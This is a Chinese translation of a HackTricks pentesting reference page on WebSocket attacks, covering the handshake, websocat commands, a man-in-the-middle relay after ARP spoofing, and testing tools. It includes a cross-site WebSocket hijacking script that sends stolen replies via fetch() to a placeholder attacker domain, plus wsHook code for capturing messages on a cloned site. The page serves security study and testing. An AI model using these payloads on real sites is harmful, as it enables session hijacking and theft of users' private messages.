12 KiB
WebSocket 攻击
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家 网络安全公司 工作吗?想要在 HackTricks 中 宣传你的公司 吗?或者你想要获得 PEASS 的最新版本或下载 HackTricks 的 PDF 吗?请查看 订阅计划!
- 发现我们的独家 NFTs 集合 The PEASS Family
- 获取 官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 Telegram 群组,或者在 Twitter 上 关注 我 🐦@carlospolopm。
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。
什么是 WebSockets
WebSocket 连接是通过 HTTP 初始化的,通常是 长期存在 的。消息可以在 任何时间的任何方向上发送,并且不具有事务性质。连接通常会保持打开和空闲状态,直到客户端或服务器准备发送消息为止。
WebSocket 在需要 低延迟或服务器发起的消息 的情况下特别有用,例如实时的金融数据源。
如何建立 WebSocket 连接?
(这里你将找到一个摘要,但关于如何创建 WebSocket 连接的 更详细指南 可以在 这里 找到)。
WebSocket 连接通常使用客户端 JavaScript 来创建,如下所示:
var ws = new WebSocket("wss://normal-website.com/ws");
wss
协议通过加密的TLS连接建立WebSocket,而**ws
**协议使用未加密的连接。
为了建立连接,浏览器和服务器通过HTTP进行WebSocket握手。浏览器发出的WebSocket握手请求如下所示:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
如果服务器接受连接,它会返回类似以下的WebSocket握手响应:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
此时,网络连接保持打开状态,可以用于在两个方向上发送WebSocket消息。
注意
值得注意的是WebSocket握手消息的几个特点:
- 请求和响应中的**
Connection
和Upgrade
**头部指示这是一个WebSocket握手。 - **
Sec-WebSocket-Version
**请求头部指定客户端希望使用的WebSocket协议版本。通常为13
。 - **
Sec-WebSocket-Key
**请求头部包含一个Base64编码的随机值,每次握手请求都应该随机生成。 - **
Sec-WebSocket-Accept
**响应头部包含在Sec-WebSocket-Key
请求头部中提交的值的哈希,与协议规范中定义的特定字符串连接在一起。这样做是为了防止由于配置错误的服务器或缓存代理而导致的误导性响应。
Sec-WebSocket-Key
头部包含一个随机值,以防止缓存代理产生错误,并且不用于身份验证或会话处理(它不是CSRF令牌)。
Linux控制台
您可以使用websocat
与WebSocket建立原始连接。
websocat --insecure wss://10.10.10.10:8000 -v
或者创建一个websocat服务器:
websocat -s 0.0.0.0:8000 #Listen in port 8000
中间人攻击 WebSocket 连接
如果你发现客户端正在通过当前的本地网络连接到一个 HTTP WebSocket,你可以尝试使用 ARP 欺骗攻击 在客户端和服务器之间进行中间人攻击。
一旦客户端尝试连接到你,你可以使用以下方法:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets枚举
您可以使用工具https://github.com/PalindromeLabs/STEWS来自动发现、指纹识别和搜索websockets中已知的漏洞。
Websocket调试工具
- Burp Suite支持对websockets通信进行中间人攻击,方式与对常规HTTP通信的处理方式非常相似。
- socketsleuthBurp Suite扩展可以让您更好地管理Burp中的Websocket通信,包括获取历史记录、设置拦截规则、使用匹配和替换规则,以及使用Intruder和AutoRepeater。
- WSSiP:WebSocket/Socket.io代理的缩写,这个使用Node.js编写的工具提供了一个用户界面,用于捕获、拦截、发送自定义消息,并查看客户端和服务器之间的所有WebSocket和Socket.IO通信。
- wsrepl是一个专为渗透测试而设计的交互式websocket REPL。它提供了一个界面,用于观察传入的websocket消息和发送新的消息,并提供了一个易于使用的框架来自动化这种通信。
- https://websocketking.com/是一个使用websockets与其他网站进行通信的网站。
- https://hoppscotch.io/realtime/websocket除了其他类型的通信/协议外,它还提供了一个使用websockets与其他网站进行通信的网站。
Websocket实验室
在Burp-Suite-Extender-Montoya-Course中,您可以找到一个使用websockets启动网站的代码,并在此文章中找到解释。
跨站WebSocket劫持(CSWSH)
也称为_跨源WebSocket劫持_。
它是在WebSocket握手中进行的跨站请求伪造(CSRF)。
当WebSocket握手请求仅依赖于HTTP cookie进行会话处理,并且不包含任何CSRF令牌或其他不可预测的值时,就会出现这种情况。
攻击者可以在自己的域上创建一个恶意网页,与易受攻击的应用程序建立跨站WebSocket连接。应用程序将在受害用户与应用程序的会话上下文中处理该连接。
简单攻击
请注意,在建立websocket连接时,cookie会被发送到服务器。服务器可能会使用它来根据发送的cookie关联每个特定的用户与他的websocket会话。
然后,例如,如果websocket服务器在发送了一个带有“READY”的消息后,将返回用户的对话历史记录,那么通过建立连接的简单XSS攻击(cookie将被自动发送以授权受害用户),发送“READY”将能够检索对话的历史记录。
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
跨域 + 不同子域的Cookie
在这篇博文https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/中,攻击者成功在与Web套接字通信发生的域的子域中执行任意JavaScript代码。由于是子域,Cookie被发送,而由于Web套接字未正确检查来源,因此可以与其进行通信并窃取其中的令牌。
窃取用户数据
复制您想要冒充的Web应用程序(例如.html文件),并在进行Web套接字通信的脚本中添加以下代码:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
现在从https://github.com/skepticfx/wshook下载wsHook.js
文件,并将其保存在与网页文件相同的文件夹中。
暴露Web应用程序并使用户连接到它,您将能够通过websocket窃取发送和接收的消息:
sudo python3 -m http.server 80
竞争条件
WebSockets中的竞争条件也是一个问题,查看此信息以了解更多。
其他漏洞
由于WebSockets是一种将数据发送到服务器端和客户端的机制,根据服务器和客户端处理信息的方式,WebSockets可以被用来利用其他几种漏洞,如XSS、SQLi或使用来自WebSockets的用户输入的任何其他常见Web漏洞。
WebSocket劫持
此漏洞可以让您绕过反向代理的限制,使其相信已建立了WebSocket通信(即使事实并非如此)。这可以让攻击者访问隐藏的端点。有关更多信息,请查看以下页面:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
参考资料
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中宣传您的公司吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。